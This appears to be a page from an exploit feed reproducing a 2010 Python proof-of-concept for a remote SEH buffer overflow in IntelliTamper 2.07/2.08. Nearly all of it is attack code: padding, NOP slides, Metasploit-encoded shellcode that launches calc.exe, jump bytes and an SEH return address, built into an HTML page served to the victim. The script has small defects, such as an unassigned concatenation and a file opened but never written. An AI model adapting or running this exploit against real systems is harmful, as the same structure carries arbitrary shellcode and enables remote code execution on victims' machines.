|
Feeds -
Exploits
|
|
Written by loneferret
|
|
Saturday, 23 January 2010 19:10 |
# IntelliTamper 2.07/2.08 (SEH) Remote Buffer Overflow| # Based on PoC: http://www.exploit-db.com/exploits/11217 |
| # Tested on WinXP SP3 English |
| # Just copy the resulting html file on a web server, and point Intelli Tamper to that adress. |
| # Should get a calculator |
| # Thanks to dookie for telling me to stick to it. |
| # Exploit-DB : Try Harder (tm) |
| #badchar list: \x00\x3C\x01 |
| buffer = '<html><head><title>loneferret test</title></head><body>' |
| buffer += '<script defer="' |
| buffer += '\x41' * 6236 # junk |
| buffer += '\x90' * 180 # nop slide 1 |
| # EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */ |
| buffer += '\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4d' |
| buffer += '\x53\x9e\xc5\x83\xeb\xfc\xe2\xf4\xb1\xbb\xda\xc5\x4d\x53\x15\x80' |
| buffer += '\x71\xd8\xe2\xc0\x35\x52\x71\x4e\x02\x4b\x15\x9a\x6d\x52\x75\x8c' |
| buffer += '\xc6\x67\x15\xc4\xa3\x62\x5e\x5c\xe1\xd7\x5e\xb1\x4a\x92\x54\xc8' |
| buffer += '\x4c\x91\x75\x31\x76\x07\xba\xc1\x38\xb6\x15\x9a\x69\x52\x75\xa3' |
| buffer += '\xc6\x5f\xd5\x4e\x12\x4f\x9f\x2e\xc6\x4f\x15\xc4\xa6\xda\xc2\xe1' |
| buffer += '\x49\x90\xaf\x05\x29\xd8\xde\xf5\xc8\x93\xe6\xc9\xc6\x13\x92\x4e' |
| buffer += '\x3d\x4f\x33\x4e\x25\x5b\x75\xcc\xc6\xd3\x2e\xc5\x4d\x53\x15\xad' |
| buffer += '\x71\x0c\xaf\x33\x2d\x05\x17\x3d\xce\x93\xe5\x95\x25\xa3\x14\xc1' |
| buffer += '\x12\x3b\x06\x3b\xc7\x5d\xc9\x3a\xaa\x30\xff\xa9\x2e\x7d\xfb\xbd' |
| buffer += '\x28\x53\x9e\xc5' |
| buffer += '\x90' * 243 # nop slide 2 |
| buffer += '\xE9\x55\xFE\xFF\xFF'# jumps back in nop slide 1 |
| buffer += '\xeb\xd0\x90\x90' # small jump back in nop slide 2 |
| buffer += '\x3b\x10\x40\x00' # 0x0040103b intellitamper.exe |
| buffer + '</body></html>' |
| file=open('index.html','w') |
|
